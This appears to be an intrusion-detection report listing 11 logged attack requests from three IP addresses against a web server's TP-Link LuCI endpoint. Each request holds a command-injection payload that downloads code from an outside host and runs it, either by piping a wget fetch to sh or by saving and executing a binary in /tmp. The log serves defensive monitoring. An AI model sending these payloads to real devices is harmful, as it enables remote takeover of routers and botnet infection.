Summary: 11 incidents discovered from 3 clients

	185.224.128.83 | 6 incidents | impact ∑: 90	attacks only
	Description: A targeted scan yesterday. A total of 6 incidents where discovered by phpids detection modules.
Impact Tags Remote-City Remote-Host Remote-Logname Remote-User Date Request Final-Status Bytes-Sent Referer User-Agent 15 xss csrf sqli id lfi - 185.224.128.83 - - Tue, 13 Aug 2024 03:30:23 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget -O- http://154.216.18.103/t|sh;`) HTTP/1.1 302 647 - Go-http-client/1.1 0 none - 185.224.128.83 - - Tue, 13 Aug 2024 03:30:23 +0200 \x16\x03\x01 400 392 - - 15 xss csrf sqli id lfi - 185.224.128.83 - - Tue, 13 Aug 2024 06:21:34 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget -O- http://154.216.18.103/t|sh;`) HTTP/1.1 302 647 - Go-http-client/1.1 0 none - 185.224.128.83 - - Tue, 13 Aug 2024 06:21:34 +0200 \x16\x03\x01 400 392 - - 15 xss csrf sqli id lfi - 185.224.128.83 - - Tue, 13 Aug 2024 09:13:18 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget -O- http://154.216.18.103/t|sh;`) HTTP/1.1 302 647 - Go-http-client/1.1 0 none - 185.224.128.83 - - Tue, 13 Aug 2024 09:13:20 +0200 \x16\x03\x01 400 392 - - 15 xss csrf sqli id lfi - 185.224.128.83 - - Tue, 13 Aug 2024 13:04:48 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget -O- http://154.216.18.103/t|sh;`) HTTP/1.1 302 647 - Go-http-client/1.1 0 none - 185.224.128.83 - - Tue, 13 Aug 2024 13:04:50 +0200 \x16\x03\x01 400 392 - - 15 xss csrf sqli id lfi - 185.224.128.83 - - Tue, 13 Aug 2024 16:59:50 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget -O- http://154.216.18.103/t|sh;`) HTTP/1.1 302 647 - Go-http-client/1.1 0 none - 185.224.128.83 - - Tue, 13 Aug 2024 16:59:53 +0200 \x16\x03\x01 400 392 - - 15 xss csrf sqli id lfi - 185.224.128.83 - - Tue, 13 Aug 2024 21:51:17 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget -O- http://154.216.18.103/t|sh;`) HTTP/1.1 302 647 - Go-http-client/1.1 0 none - 185.224.128.83 - - Tue, 13 Aug 2024 21:51:17 +0200 \x16\x03\x01 400 392 - -

	154.213.187.96 | 3 incidents | impact ∑: 81	attacks only
	Description: A targeted scan 22 hours ago. A total of 3 incidents where discovered by phpids detection modules.
Impact Tags Remote-City Remote-Host Remote-Logname Remote-User Date Request Final-Status Bytes-Sent Referer User-Agent 27 xss csrf dt id lfi sqli rfe - 154.213.187.96 - - Tue, 13 Aug 2024 07:49:00 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd /tmp; rm -rf r; wget http://45.66.231.213/r; chmod 777 r; ./r tplink; rm -rf r`) HTTP/1.1 302 757 - Go-http-client/1.1 0 none - 154.213.187.96 - - Tue, 13 Aug 2024 07:49:02 +0200 \x16\x03\x01 400 392 - - 27 xss csrf dt id lfi sqli rfe - 154.213.187.96 - - Tue, 13 Aug 2024 18:01:15 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd /tmp; rm -rf r; wget http://45.66.231.213/r; chmod 777 r; ./r tplink; rm -rf r`) HTTP/1.1 302 757 - Go-http-client/1.1 0 none - 154.213.187.96 - - Tue, 13 Aug 2024 18:01:15 +0200 \x16\x03\x01 400 392 - - 27 xss csrf dt id lfi sqli rfe - 154.213.187.96 - - Tue, 13 Aug 2024 21:55:54 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd /tmp; rm -rf r; wget http://45.66.231.213/r; chmod 777 r; ./r tplink; rm -rf r`) HTTP/1.1 302 757 - Go-http-client/1.1 0 none - 154.213.187.96 - - Tue, 13 Aug 2024 21:55:55 +0200 \x16\x03\x01 400 392 - -

	154.213.185.140 | 2 incidents | impact ∑: 54	attacks only
	Description: A targeted scan yesterday. A total of 2 incidents where discovered by phpids detection modules.
Impact Tags Remote-City Remote-Host Remote-Logname Remote-User Date Request Final-Status Bytes-Sent Referer User-Agent 27 xss csrf dt id lfi sqli rfe - 154.213.185.140 - - Tue, 13 Aug 2024 02:18:34 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd /tmp; rm -rf r; wget http://45.66.231.213/r; chmod 777 r; ./r tplink; rm -rf r`) HTTP/1.1 302 757 - Go-http-client/1.1 0 none - 154.213.185.140 - - Tue, 13 Aug 2024 02:18:34 +0200 \x16\x03\x01 400 392 - - 27 xss csrf dt id lfi sqli rfe - 154.213.185.140 - - Tue, 13 Aug 2024 09:27:00 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd /tmp; rm -rf r; wget http://45.66.231.213/r; chmod 777 r; ./r tplink; rm -rf r`) HTTP/1.1 302 757 - Go-http-client/1.1 0 none - 154.213.185.140 - - Tue, 13 Aug 2024 09:27:00 +0200 \x16\x03\x01 400 392 - -